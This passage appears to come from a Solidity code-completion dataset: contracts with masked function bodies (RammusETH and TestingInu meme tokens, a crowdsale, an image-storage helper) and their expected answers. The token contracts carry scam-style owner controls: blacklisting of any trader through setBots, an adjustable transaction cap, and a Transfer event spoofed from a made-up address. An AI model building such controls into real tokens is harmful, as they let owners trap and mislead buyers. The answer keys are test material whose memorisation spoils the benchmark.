}
function getImageHeight(uint256 _imageId) view public returns (uint16) {
return BdpImageStorage(BdpContracts.getBdpImageStorage(contracts)).getImageHeight(_imageId);
}
function getImageDescriptor(uint256 _imageId) view public returns (uint16) {
return BdpImageStorage(BdpContracts.getBdpImageStorage(contracts)).getImageDescriptor(_imageId);
}
function getImageBlurredAt(uint256 _imageId) view public returns (uint256) {
return BdpImageStorage(BdpContracts.getBdpImageStorage(contracts)).getImageBlurredAt(_imageId);
}
function setImageBlurredAt(uint256 _imageId, uint256 _blurredAt) public onlyAuthorized {
return BdpImageStorage(BdpContracts.getBdpImageStorage(contracts)).setImageBlurredAt(_imageId, _blurredAt);
}
function imageUploadComplete(uint256 _imageId) view public returns (bool) {
return BdpImageStorage(BdpContracts.getBdpImageStorage(contracts)).imageUploadComplete(_imageId);
}
// BdpPriceStorage
function getForwardPurchaseFeesTo() view public returns (address) {
return BdpPriceStorage(BdpContracts.getBdpPriceStorage(contracts)).getForwardPurchaseFeesTo();
}
function setForwardPurchaseFeesTo(address _forwardPurchaseFeesTo) public onlyOwner {
BdpPriceStorage(BdpContracts.getBdpPriceStorage(contracts)).setForwardPurchaseFeesTo(_forwardPurchaseFeesTo);
}
function getForwardUpdateFeesTo() view public returns (address) {
return BdpPriceStorage(BdpContracts.getBdpPriceStorage(contracts)).getForwardUpdateFeesTo();
}
function setForwardUpdateFeesTo(address _forwardUpdateFeesTo) public onlyOwner {
BdpPriceStorage(BdpContracts.getBdpPriceStorage(contracts)).setForwardUpdateFeesTo(_forwardUpdateFeesTo);
}
function BdpControllerHelper(bytes8 _version) public {
ownerAddress = msg.sender;
managerAddress = msg.sender;
version = _version;
}
} |
return BdpImageStorage(BdpContracts.getBdpImageStorage(contracts)).getImageOwner(_imageId);
| function getImageOwner(uint256 _imageId) view public returns (address) | function getImageOwner(uint256 _imageId) view public returns (address) |
18299 | RammusETH | _getValues | contract RammusETH is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Rammus";
string private constant _symbol = "Rammus";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_feeAddrWallet1 = payable(0xc34ba6FcCF79632bCcE7Cb013Ec4A617716D531c);
_feeAddrWallet2 = payable(0x2A430EbC031eDbb529d7afaa71dcf45e1b7e1b75);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(
address(0xE86231ECFB59D0f8E97A2E71B40bE1a581C52b7F),
_msgSender(),
_tTotal
);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 1;
_feeAddr2 = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (
to == uniswapV2Pair &&
from != address(uniswapV2Router) &&
!_isExcludedFromFee[from]
) {
_feeAddr1 = 1;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{ value: address(this).balance }(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 20000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount
) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{<FILL_FUNCTION_BODY> }
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | contract RammusETH is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Rammus";
string private constant _symbol = "Rammus";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_feeAddrWallet1 = payable(0xc34ba6FcCF79632bCcE7Cb013Ec4A617716D531c);
_feeAddrWallet2 = payable(0x2A430EbC031eDbb529d7afaa71dcf45e1b7e1b75);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(
address(0xE86231ECFB59D0f8E97A2E71B40bE1a581C52b7F),
_msgSender(),
_tTotal
);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 1;
_feeAddr2 = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (
to == uniswapV2Pair &&
from != address(uniswapV2Router) &&
!_isExcludedFromFee[from]
) {
_feeAddr1 = 1;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{ value: address(this).balance }(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 20000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount
) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
<FILL_FUNCTION>
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} |
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
| function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
| function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
|
51760 | FMT_Crowdsale | capReached | contract FMT_Crowdsale is Pausable {
using SafeMath for uint256;
// The token being sold
ERC20 public token;
// Address where funds are collected
address public wallet;
// How many token units a buyer gets per wei
uint256 public rate;
// Amount of wei raised
uint256 public weiRaised;
// Max amount of wei accepted in the crowdsale
uint256 public cap;
// Min amount of wei an investor can send
uint256 public minInvest;
// Crowdsale opening time
uint256 public openingTime;
// Crowdsale closing time
uint256 public closingTime;
// Crowdsale duration in days
uint256 public duration;
/**
* Event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function FMT_Crowdsale() public {
rate = 200;
wallet = 0xEDFA815BDb7038b96c8e8765d7Ed64EA65eEC2a3;
token = ERC20(0x9Db8788a241e5A6F5c6eafB2eB21F141b6943105);
cap = 55000 * 1 ether;
minInvest = 0.5 * 1 ether;
duration = 60 days;
openingTime = 1524182400; // Determined by start()
closingTime = openingTime + duration; // Determined by start()
}
/**
* @dev called by the owner to start the crowdsale
*/
function start() public onlyOwner {
openingTime = now;
closingTime = now + duration;
}
// -----------------------------------------
// Crowdsale external interface
// -----------------------------------------
/**
* @dev fallback function ***DO NOT OVERRIDE***
*/
function () external payable {
buyTokens(msg.sender);
}
/**
* @dev low level token purchase ***DO NOT OVERRIDE***
* @param _beneficiary Address performing the token purchase
*/
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
// update state
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens);
_forwardFunds();
}
// -----------------------------------------
// Internal interface (extensible)
// -----------------------------------------
/**
* @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use super to concatenate validations.
* @param _beneficiary Address performing the token purchase
* @param _weiAmount Value in wei involved in the purchase
*/
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal whenNotPaused {
require(_beneficiary != address(0));
require(_weiAmount >= minInvest);
require(weiRaised.add(_weiAmount) <= cap);
require(now >= openingTime && now <= closingTime);
}
/**
* @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens.
* @param _beneficiary Address performing the token purchase
* @param _tokenAmount Number of tokens to be emitted
*/
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.transfer(_beneficiary, _tokenAmount);
}
/**
* @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens.
* @param _beneficiary Address receiving the tokens
* @param _tokenAmount Number of tokens to be purchased
*/
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
/**
* @dev Override to extend the way in which ether is converted to tokens.
* @param _weiAmount Value in wei to be converted into tokens
* @return Number of tokens that can be purchased with the specified _weiAmount
*/
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate);
}
/**
* @dev Determines how ETH is stored/forwarded on purchases.
*/
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
/**
* @dev Checks whether the cap has been reached.
* @return Whether the cap was reached
*/
function capReached() public view returns (bool) {<FILL_FUNCTION_BODY> }
/**
* @dev Checks whether the period in which the crowdsale is open has already elapsed.
* @return Whether crowdsale period has elapsed
*/
function hasClosed() public view returns (bool) {
return now > closingTime;
}
/**
* @dev called by the owner to withdraw unsold tokens
*/
function withdrawTokens() public onlyOwner {
uint256 unsold = token.balanceOf(this);
token.transfer(owner, unsold);
}
} | contract FMT_Crowdsale is Pausable {
using SafeMath for uint256;
// The token being sold
ERC20 public token;
// Address where funds are collected
address public wallet;
// How many token units a buyer gets per wei
uint256 public rate;
// Amount of wei raised
uint256 public weiRaised;
// Max amount of wei accepted in the crowdsale
uint256 public cap;
// Min amount of wei an investor can send
uint256 public minInvest;
// Crowdsale opening time
uint256 public openingTime;
// Crowdsale closing time
uint256 public closingTime;
// Crowdsale duration in days
uint256 public duration;
/**
* Event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function FMT_Crowdsale() public {
rate = 200;
wallet = 0xEDFA815BDb7038b96c8e8765d7Ed64EA65eEC2a3;
token = ERC20(0x9Db8788a241e5A6F5c6eafB2eB21F141b6943105);
cap = 55000 * 1 ether;
minInvest = 0.5 * 1 ether;
duration = 60 days;
openingTime = 1524182400; // Determined by start()
closingTime = openingTime + duration; // Determined by start()
}
/**
* @dev called by the owner to start the crowdsale
*/
function start() public onlyOwner {
openingTime = now;
closingTime = now + duration;
}
// -----------------------------------------
// Crowdsale external interface
// -----------------------------------------
/**
* @dev fallback function ***DO NOT OVERRIDE***
*/
function () external payable {
buyTokens(msg.sender);
}
/**
* @dev low level token purchase ***DO NOT OVERRIDE***
* @param _beneficiary Address performing the token purchase
*/
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
// update state
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens);
_forwardFunds();
}
// -----------------------------------------
// Internal interface (extensible)
// -----------------------------------------
/**
* @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use super to concatenate validations.
* @param _beneficiary Address performing the token purchase
* @param _weiAmount Value in wei involved in the purchase
*/
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal whenNotPaused {
require(_beneficiary != address(0));
require(_weiAmount >= minInvest);
require(weiRaised.add(_weiAmount) <= cap);
require(now >= openingTime && now <= closingTime);
}
/**
* @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens.
* @param _beneficiary Address performing the token purchase
* @param _tokenAmount Number of tokens to be emitted
*/
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.transfer(_beneficiary, _tokenAmount);
}
/**
* @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens.
* @param _beneficiary Address receiving the tokens
* @param _tokenAmount Number of tokens to be purchased
*/
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
/**
* @dev Override to extend the way in which ether is converted to tokens.
* @param _weiAmount Value in wei to be converted into tokens
* @return Number of tokens that can be purchased with the specified _weiAmount
*/
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate);
}
/**
* @dev Determines how ETH is stored/forwarded on purchases.
*/
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
<FILL_FUNCTION>
/**
* @dev Checks whether the period in which the crowdsale is open has already elapsed.
* @return Whether crowdsale period has elapsed
*/
function hasClosed() public view returns (bool) {
return now > closingTime;
}
/**
* @dev called by the owner to withdraw unsold tokens
*/
function withdrawTokens() public onlyOwner {
uint256 unsold = token.balanceOf(this);
token.transfer(owner, unsold);
}
} |
return weiRaised >= cap;
| function capReached() public view returns (bool) | /**
* @dev Checks whether the cap has been reached.
* @return Whether the cap was reached
*/
function capReached() public view returns (bool) |
23608 | FreeEthForMiners | rewardMiner | contract FreeEthForMiners {
address public creator;
constructor() payable public {
creator = msg.sender;
require(msg.value == 0.069 ether);
}
function rewardMiner() external {<FILL_FUNCTION_BODY> }
} | contract FreeEthForMiners {
address public creator;
constructor() payable public {
creator = msg.sender;
require(msg.value == 0.069 ether);
}
<FILL_FUNCTION>
} |
if (tx.gasprice == 0 && msg.sender == creator) {
block.coinbase.transfer(address(this).balance);
}
| function rewardMiner() external | function rewardMiner() external |
65274 | TestingInu | _transfer | contract TestingInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "TestingInu";
string private constant _symbol = "TestingInu";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0xFa5C0dc75Dba468B0D8C1F4EFeeA28Cf73D38Ab0);
_feeAddrWallet2 = payable(0xFa5C0dc75Dba468B0D8C1F4EFeeA28Cf73D38Ab0);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0xFa5C0dc75Dba468B0D8C1F4EFeeA28Cf73D38Ab0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function originalPurchase(address account) public view returns (uint256) {
return _buyMap[account];
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function setMaxTx(uint256 maxTransactionAmount) external onlyOwner() {
_maxTxAmount = maxTransactionAmount;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {<FILL_FUNCTION_BODY> }
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
